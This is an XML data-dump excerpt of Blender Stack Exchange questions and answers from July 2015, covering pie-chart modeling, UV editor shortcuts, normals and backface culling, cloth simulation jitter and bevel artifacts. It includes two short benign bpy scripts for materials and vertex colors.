  <row Id="34686" PostTypeId="2" ParentId="34685" CreationDate="2015-07-28T17:17:31.703" Score="10" Body="&lt;p&gt;Add a curve-&gt;Circle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Tkmao.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tkmao.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EEXX5.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EEXX5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit the cube to something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XpBdz.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XpBdz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the cube add an array modifier and a Curve modifier with the Bezeir Circle selected as the controling object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6t02x.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6t02x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By modifying the count on the array you can change how complete the pie is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1YDal.gif&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1YDal.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-07-28T17:24:49.453" LastActivityDate="2015-07-28T17:24:49.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34689" PostTypeId="2" ParentId="34682" CreationDate="2015-07-28T17:40:44.753" Score="2" Body="&lt;p&gt;In the actuator, if you uncheck lock Z velocity it works for me.&#xA;Are you sure you have in unchecked? Can you share file?&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-07-28T17:40:44.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34690" PostTypeId="1" CreationDate="2015-07-28T17:48:15.703" Score="1" ViewCount="203" Body="&lt;p&gt;I try to place the rendered image inside the &lt;em&gt;UV Editor&lt;/em&gt; window so it fits its borders precisely. Unfortunatelly it isn't possible using a &lt;strong&gt;Mouse Wheel&lt;/strong&gt;. Are there any ways to do it?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/WgtlQ.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WgtlQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-07-28T17:56:09.063" Title="How to fit an image to the UV Editor window's borders?" Tags="&lt;interface&gt;&lt;image&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34691" PostTypeId="2" ParentId="34690" CreationDate="2015-07-28T17:50:51.660" Score="1" Body="&lt;p&gt;I've found a way how to do it. There are two methods:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;While in the UV Editor window, hold down &lt;kbd&gt;Ctrl&lt;/kbd&gt;, then press the Middle Mouse Button and move the mouse horizontally or vertically. You may now manually fit the image to the borders of the window.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xtVDP.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xtVDP.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;While in the UV Editor window, press the &lt;kbd&gt;F&lt;/kbd&gt; button. An image will automatically fit the window borders perfectly.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/GEnjU.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GEnjU.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-07-28T17:50:51.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34692" PostTypeId="2" ParentId="34690" CreationDate="2015-07-28T17:50:58.520" Score="3" Body="&lt;p&gt;To fill the screen press the &lt;kbd&gt;F&lt;/kbd&gt; key&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-07-28T17:50:58.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34693" PostTypeId="2" ParentId="34667" CreationDate="2015-07-28T17:54:24.977" Score="3" Body="&lt;p&gt;Some faces won't render so what it means is that you propably have Backface culling activated(means that only the faces in the direction of the normals are getting rendered).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the object whose faces won't appear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go into edit mode by pressing tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &quot;N&quot; panel find the mesh display and under &quot;Normals&quot; select faces (the 3rd icon).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blue lines (these segments are called Normals) are gonna come out of the faces of your object. The faces will be rendered from the side these blue lines go to. So if the faces that won't render have their blue lines going inside, it means this is your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you should do to fix this is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;press ctrl+N (with the faces still selected) and then in the &quot;T&quot; panel the &quot;Make normals consistent&quot; option is gonna appear with an unchecked box. Check it and it should be fine. This is the manual way in case of selecting all faces and pressing ctrl+N won't fix your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. if you want your plane to render both ways, deactivate backface culling in the &quot;N&quot; panel below shading mode.&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-07-28T17:54:24.977" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34694" PostTypeId="2" ParentId="34690" CreationDate="2015-07-28T17:56:09.063" Score="1" Body="&lt;p&gt;In addition to what others have already suggested, if your keyboard has a &lt;kbd&gt;Home&lt;/kbd&gt; button, you can press that too, which will zoom the image to 100% size (if it's smaller than the panel) or to the size of the panel (if it's larger).&lt;/p&gt;&#xA;" OwnerUserId="7806" LastActivityDate="2015-07-28T17:56:09.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34695" PostTypeId="2" ParentId="34685" CreationDate="2015-07-28T18:00:44.567" Score="19" Body="&lt;p&gt;You can also do this with a curve by adding a bevel object and changing the Start/End values of the bevel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cYmsu.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cYmsu.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbD&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;&gt; Curve&gt; Circle.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In edit mode of the new curve press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; to 'Toggle Cyclic' so the curve doesn't join its ends together:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/I1CES.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I1CES.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all the curve points and change their handle type to 'Free' in the side toolbar (&lt;kbd&gt;T&lt;/kbd&gt;) under 'Handles' and move the curve points back into a circular shape (but the circle will now have a gap).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude the last curve point with &lt;kbd&gt;E&lt;/kbd&gt; and place it exactly on top of the other end of the curve (a bit more carefully than I have):&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vHZIN.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vHZIN.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Now add a new curve in object mode and flatten it so it is a straight line:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jTy6L.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jTy6L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;In the curve properties for the curve that is a circle set the 'Bevel Object' to be the curve that is a straight line:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DRIv6.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DRIv6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;You can now adjust the 'Start' or 'End' values (shown in the first gif) to adjust the 'completeness' of the circle.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As one final step, you can give thickness to the curve by adding a 'Solidify' modifier and then an 'Edge split' modifier to correct the shading:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hPAYp.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hPAYp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Duplicate this curve and adjust the 'Start' and 'End' values for each new segment of the pie.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-07-28T18:07:51.613" LastActivityDate="2015-07-28T18:07:51.613" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="34696" PostTypeId="1" CreationDate="2015-07-28T18:12:28.457" Score="3" ViewCount="226" Body="&lt;p&gt;Let's say I 2D-stabilize a movie clip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From frame 0 to 90 I use marker1 &amp;amp; marker2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At frame 90 I loose marker1, but I get a new one: marker3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I simply add all markers to the 2d-stabilization, it will make a sudden jump at frame 90 when loosing the data of marker1 because of the average location of all markers changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I let the stabilizer know that starting at frame 91, the whole location of the footage is reconsidered based on where marker2 was at frame 90 after being stabilized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order words, how to keep the stabilization smooth when loosing/gaining markers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as an extra, I also use Rotation Stabilization ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="15965" LastActivityDate="2015-07-28T18:12:28.457" Title="How to switch between markers during 2D-stabilization without sudden jumps" Tags="&lt;tracking&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34697" PostTypeId="1" AcceptedAnswerId="34713" CreationDate="2015-07-28T18:15:34.210" Score="1" ViewCount="2277" Body="&lt;p&gt;I have 100s of scenes with simple primitive objects at random locations (not in a sequence) in each of these scenes. For example if I have 2 objects in a scene, the only thing that will vary across all 100s of scenes is the location, orientation of these 2 objects. I have file generated with all these locations and orientations to load into blender from. Currently in my project I am sequentially loading each location, orientation detail of a scene and rendering it one after the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to generate these 100 scenes in parallel? I have been looking at GPU rendering/cluster based rendering but failed to find any concrete that I can use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointer will be appreciated. Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="15189" LastEditorUserId="47" LastEditDate="2015-07-28T18:33:02.300" LastActivityDate="2015-07-29T14:34:44.487" Title="Rendering multiple scenes in parallel" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;gpu&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34698" PostTypeId="1" AcceptedAnswerId="34704" CreationDate="2015-07-28T18:22:17.870" Score="1" ViewCount="2886" Body="&lt;p&gt;Scene: A cloth (plane) falls on top of a stool (cylinder). Then the stool rotates 180degrees, and stops. The cloth continues to simulate after the stool rotation is complete. This is fine, but what is not fine is that instead of the cloth finding a state of rest, it just continues to jitter (oscillating around a rest state).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: How do I fix/remove this jitter in the cloth simulation?&lt;/p&gt;&#xA;" OwnerUserId="13911" LastActivityDate="2015-07-28T22:29:33.907" Title="How to remove jitter on cloth simulation?" Tags="&lt;physics&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34699" PostTypeId="2" ParentId="34685" CreationDate="2015-07-28T18:26:45.667" Score="13" Body="&lt;p&gt;One could use &lt;a href=&quot;https://github.com/nortikin/sverchok&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sverchok&lt;/a&gt; - node based parametric geometry addon. (Full disclosure, I co-write this addon - but it is free and open-source)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TxgO9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TxgO9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you then do is change the values in the List Input node..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0fDF3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0fDF3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And set the materials..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xIheR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xIheR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/380/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=380&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here an alternative with some of the sliders labeled to help you out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4MSFT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4MSFT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/381/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=381&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Pros and Cons to doing this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cons&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You have to install Sverchok Add-on&lt;/li&gt;&#xA;&lt;li&gt;Making it fully reusable requires a bit of coding or node noodling&lt;/li&gt;&#xA;&lt;li&gt;Sverchok doesn't have a functioning &lt;code&gt;List Running Sum&lt;/code&gt; operator, the code exists but we never committed it. Questions like this reinforce why the extra operator should be added (thanks!)&lt;/li&gt;&#xA;&lt;li&gt;I've not written an example of how to dynamically pick n new colours when the amount of list items is updated.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pros&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You get to experiment with Sverchok, and accidents lead to learning and the add-on has many more uses.&lt;/li&gt;&#xA;&lt;li&gt;You can easily develop parametric tools (node trees) that can be every bit as good as an addon, but with often less setup code.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here's a version that does create new random colors for new list items, this might be handy during the construction phase to help you see the individual slices, simply disconnect the input to the node once you have enough slices&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VOGmS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VOGmS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/382/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=382&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script inside the &quot;maker_material&quot; node looks like this, and makes only one assumption; the base name of the object (here Alpha - a default name)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import random&#xA;import bpy&#xA;&#xA;def sv_main(num_slices=0):&#xA;    dummy = []&#xA;&#xA;    in_sockets = [&#xA;        ['s', 'num_slices', num_slices]&#xA;    ]&#xA;&#xA;    prefix_name = &quot;Alpha&quot;&#xA;&#xA;    if num_slices and (num_slices &amp;gt; 0):&#xA;        for s in range(num_slices):&#xA;            obj = bpy.data.objects.get(prefix_name + &quot;_&quot; + str(s))&#xA;            if obj:&#xA;                materials = obj.data.materials&#xA;                if None in materials[:] or len(materials) == 0:&#xA;                    print('has no colours! - adding!')&#xA;&#xA;                    mat = bpy.data.materials.new('some_mat')&#xA;                    mat.use_nodes = True&#xA;                    nodes = mat.node_tree.nodes&#xA;&#xA;                    obj.active_material = mat&#xA;                    diffuse = nodes.get(&quot;Diffuse BSDF&quot;)&#xA;                    diffuse.inputs['Color'].default_value = random.random(), random.random(), random.random(), 1.0&#xA;                else:&#xA;                    print(obj.data.materials[:])&#xA;&#xA;    out_sockets = [&#xA;        ['s', 'dummy_out', dummy]&#xA;    ]&#xA;&#xA;    return in_sockets, out_sockets&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-07-29T14:51:17.623" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34701" PostTypeId="2" ParentId="20952" CreationDate="2015-07-28T18:57:22.837" Score="24" Body="&lt;p&gt;Hold down the &lt;kbd&gt;Alt&lt;/kbd&gt; button and start scrolling the &lt;strong&gt;Mouse Wheel&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Scrolling down will let you go forward&lt;/em&gt;&lt;/strong&gt; in a &lt;em&gt;Timeline&lt;/em&gt;, scrolling up works vice versa.&#xA;You can do it in almost every window type you want and it works even if the &lt;em&gt;Timeline&lt;/em&gt; window is not open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: this shortcut works well in the &lt;em&gt;Video Sequence&lt;/em&gt;, &lt;em&gt;NLA&lt;/em&gt;, &lt;em&gt;Dope Sheet&lt;/em&gt; and &lt;em&gt;Graph&lt;/em&gt; editors also.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CHUL5.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CHUL5.gif&quot; alt=&quot;Example Gif&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="6204" LastEditDate="2015-12-22T00:39:04.737" LastActivityDate="2015-12-22T00:39:04.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34702" PostTypeId="1" AcceptedAnswerId="34705" CreationDate="2015-07-28T19:43:30.113" Score="1" ViewCount="927" Body="&lt;p&gt;This is a picture in edit mode&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ruTnA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ruTnA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this is the crease plus the bevel settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pMARU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pMARU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2015-07-29T00:08:37.633" Title="Bevel causing weird creases" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34703" PostTypeId="1" CreationDate="2015-07-28T19:47:21.957" Score="0" ViewCount="40" Body="&lt;p&gt;I have been following the &lt;a href=&quot;https://blender.stackexchange.com/questions/297/cycles-render-not-utilizing-the-gpu-as-it-should?rq=1&quot;&gt;post&lt;/a&gt; about the GPU enabling in blender and found that the device name is not populated. Does this mean the device is not configured with blender? &#xA;&lt;a href=&quot;https://i.stack.imgur.com/PQsd7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PQsd7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15189" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-07-28T19:47:21.957" Title="Graphics device is not getting populated" Tags="&lt;gpu&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="34704" PostTypeId="2" ParentId="34698" CreationDate="2015-07-28T20:23:01.410" Score="1" Body="&lt;p&gt;I ended up increasing the &quot;Cloth &gt; Quality &gt; Steps&quot; from 5 to 10 and the &quot;Cloth Collision &gt; Quality&quot; from 2 to 5. This helped with some of the jitter, but I can still see it at the end subtly.&lt;/p&gt;&#xA;" OwnerUserId="13911" LastEditorUserId="13911" LastEditDate="2015-07-28T22:29:33.907" LastActivityDate="2015-07-28T22:29:33.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34705" PostTypeId="2" ParentId="34702" CreationDate="2015-07-28T20:24:05.600" Score="2" Body="&lt;p&gt;Try to make the topology a bit cleaner. Maybe this will help. I retopologized your mesh and gave it the modifier's settings from your screenshot. As you can see the beveled edge of the object on the right looks better.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/eXJRS.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eXJRS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-07-28T21:54:04.080" LastActivityDate="2015-07-28T21:54:04.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34706" PostTypeId="2" ParentId="34640" CreationDate="2015-07-28T20:36:17.537" Score="1" Body="&lt;p&gt;I got it working. As PG Math proposed I used Alpha Overs and Mask. I didn't use Z transform. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each object layer ( except background ) i set all other object layers as a mask. The camera can now freely move around the scene and the objects are blurred nicely and the objects render correctly.&lt;/p&gt;&#xA;" OwnerUserId="15964" LastActivityDate="2015-07-28T20:36:17.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34707" PostTypeId="1" AcceptedAnswerId="34710" CreationDate="2015-07-28T20:48:41.393" Score="3" ViewCount="626" Body="&lt;p&gt;I've been searching a bit for the perfect material testing scene, so I'm curious, what are some of the most important elements in a material testing scene?&lt;/p&gt;&#xA;" OwnerUserId="8262" LastActivityDate="2015-08-07T12:36:21.863" Title="What elements go into a good material testing scene" Tags="&lt;modeling&gt;&lt;materials&gt;&lt;light&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34709" PostTypeId="2" ParentId="34668" CreationDate="2015-07-28T21:29:49.083" Score="3" Body="&lt;p&gt;You can store the face ID as a vertex color o each face then read the vertex color using the Attribute node.&#xA;This script will create a vertex color layer and store the face index as color :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.object&#xA;obj_data = obj.data&#xA;group_name = 'face_ID'&#xA;&#xA;#check for existing group with the same name&#xA;if None == obj_data.vertex_colors.get(group_name): &#xA;    obj_data.vertex_colors.new(name=group_name)&#xA;color_map =  obj_data.vertex_colors[group_name]&#xA;&#xA;#get faces' number &#xA;count = len(obj_data.polygons)&#xA;&#xA;for poly in obj_data.polygons:&#xA;&#xA;    ID = poly.index / count  #for normalized results&#xA;    color = (ID, ID, ID)&#xA;    for loop_ind in poly.loop_indices:&#xA;        color_map.data[loop_ind].color = color &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-07-28T21:29:49.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34710" PostTypeId="2" ParentId="34707" CreationDate="2015-07-28T21:36:57.760" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;Make sure you have correct neutral lighting (a diffuse grey (50%)&#xA;sphere should render as diffuse grey (50%)).  &lt;/li&gt;&#xA;&lt;li&gt;You need some reflectors to judge reflections.&lt;/li&gt;&#xA;&lt;li&gt;Maybe you should have an object with a stepped thickness so that you&#xA;can see how refraction behaves.&lt;/li&gt;&#xA;&lt;li&gt;You could also setup additional renderlayers with different lighting&#xA;situations. &lt;/li&gt;&#xA;&lt;li&gt;Maybe a grid on the floor to get the scale right (cm, dm, m)?&lt;/li&gt;&#xA;&lt;li&gt;A McBeth chart of some sort?&lt;/li&gt;&#xA;&lt;li&gt;A diffuse and a reflective sphere for reference in some corner?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I think SHED have some nice examples &lt;a href=&quot;http://shedmtl.blogspot.se/&quot; rel=&quot;nofollow&quot;&gt;in their blog somewhere&lt;/a&gt;...&lt;/p&gt;&#xA;" OwnerUserId="7923" LastEditorUserId="7923" LastEditDate="2015-08-07T12:36:21.863" LastActivityDate="2015-08-07T12:36:21.863" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34711" PostTypeId="1" CreationDate="2015-07-28T21:51:03.383" Score="1" ViewCount="230" Body="&lt;p&gt;I want to unite 2 meshes into 1, by removing intersecting faces. But union is now doing this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PS7Z0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PS7Z0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QSGsU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QSGsU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;Was there an update?&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2016-01-07T03:10:11.883" Title="Booleans are all messed up" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
